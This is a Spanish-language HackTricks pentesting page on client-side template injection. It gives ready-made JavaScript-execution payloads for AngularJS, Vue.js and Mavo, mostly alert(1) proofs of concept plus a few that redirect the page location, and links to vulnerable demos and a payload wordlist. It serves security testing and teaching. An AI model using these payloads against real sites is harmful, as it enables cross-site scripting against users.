6.7 KiB
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud en github.
Resumen
Es como una Inyección de Plantillas en el Servidor pero en el cliente. La SSTI puede permitirte ejecutar código en el servidor remoto, la CSTI podría permitirte ejecutar código JavaScript arbitrario en la víctima.
La forma de probar esta vulnerabilidad es muy similar a la de SSTI, el intérprete va a esperar algo para ejecutar entre llaves dobles y lo ejecutará. Por ejemplo, usando algo como: {{ 7-7 }}
si el servidor es vulnerable verás un 0
y si no, verás el original: {{ 7-7 }}
AngularJS
AngularJS es una popular biblioteca de JavaScript, que escanea el contenido de los nodos HTML que contienen el atributo ng-app
(también conocido como una directiva de AngularJS). Cuando se añade una directiva al código HTML, puedes ejecutar expresiones de JavaScript dentro de llaves dobles.
Por ejemplo, si tu entrada se está reflejando dentro del cuerpo del HTML y el cuerpo está definido con ng-app
: <body ng-app>
Puedes ejecutar código JavaScript arbitrario usando llaves dobles añadiendo al cuerpo:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Puede encontrar un ejemplo en línea muy básico de la vulnerabilidad en AngularJS en http://jsfiddle.net/2zs2yv7o/
{% hint style="danger" %}
Angular 1.6 eliminó el sandbox por lo que a partir de esta versión un payload como {{constructor.constructor('alert(1)')()}}
o <input ng-focus=$event.view.alert('XSS')>
debería funcionar.
{% endhint %}
VueJS
Puede encontrar una implementación vulnerable de vue.js en https://vue-client-side-template-injection-example.azu.now.sh/
Payload funcional: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Y el código fuente del ejemplo vulnerable aquí: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un artículo muy bueno sobre CSTI en VUE se puede encontrar en https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédito: Mario Heiderich
Consulta más payloads de VUE en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Más payloads en https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista de Detección por Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.